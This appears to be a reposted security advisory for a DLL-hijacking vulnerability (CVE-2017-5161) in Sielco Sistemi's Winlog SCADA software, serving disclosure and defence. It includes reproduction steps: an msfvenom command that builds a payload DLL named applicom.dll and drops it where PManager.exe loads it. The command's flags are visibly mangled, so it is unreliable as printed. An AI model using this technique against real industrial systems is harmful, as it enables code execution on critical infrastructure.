Sistemi Winlog SCADA Software DLL Hijacking

`Sielco Sistemi Winlog SCADA Software Insecure Library Loading Allows Code  
Execution  
  
Vendor: Sielco Sistemi  
Equipment: Winlog SCADA Software  
Vulnerability: Uncontrolled Search Path Element  
  
ICS-CERT Advisory  
https://ics-cert.us-cert.gov/advisories/ICSA-17-038-01  
  
AFFECTED PRODUCTS  
  
The following Sielco Sistemi products are affected:  
  
Winlog Lite SCADA Software, versions prior to Version 3.02.01, and  
Winlog Pro SCADA Software, versions prior to Version 3.02.01  
  
Vulnerable Libraries:  
[+] applicom.dll  
[+] w95_s7m.dll  
  
Application Executables (that look for missing DLL):  
PManager.exe  
Runtime.exe  
  
Steps to reproduce  
  
1. Generate a dll payload  
msfvenom ap windows/exec cmd=calc.exe af dll ao applicom.dll  
  
2. Place this dll in install directory (or C:\Windows, or any directory  
defined in the PATH environment variable)  
C:\evil-rw-folder\>  
  
3. Run PManager.exe (or Runtime.exe) > calc.exe will execute  
  
  
IMPACT  
  
Successful exploitation of this vulnerability may allow an attacker to load  
a malicious DLL and execute code on the affected system with the same  
privileges as the application that loaded the malicious DLL.  
  
VULNERABILITY OVERVIEW  
UNCONTROLLED SEARCH PATH ELEMENT (CWE-427)  
  
An uncontrolled search path element (DLL Hijacking) vulnerability has been  
identified. Exploitation of this vulnerability could give an attacker  
access to the system with the same level of privilege as the application  
that utilizes the malicious DLL.  
  
CVE-2017-5161 has been assigned to this vulnerability. A CVSS v3 base score  
of 7.2 has been assigned; the CVSS vector string is  
(AV:L/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:H).  
  
+++++  
  
  
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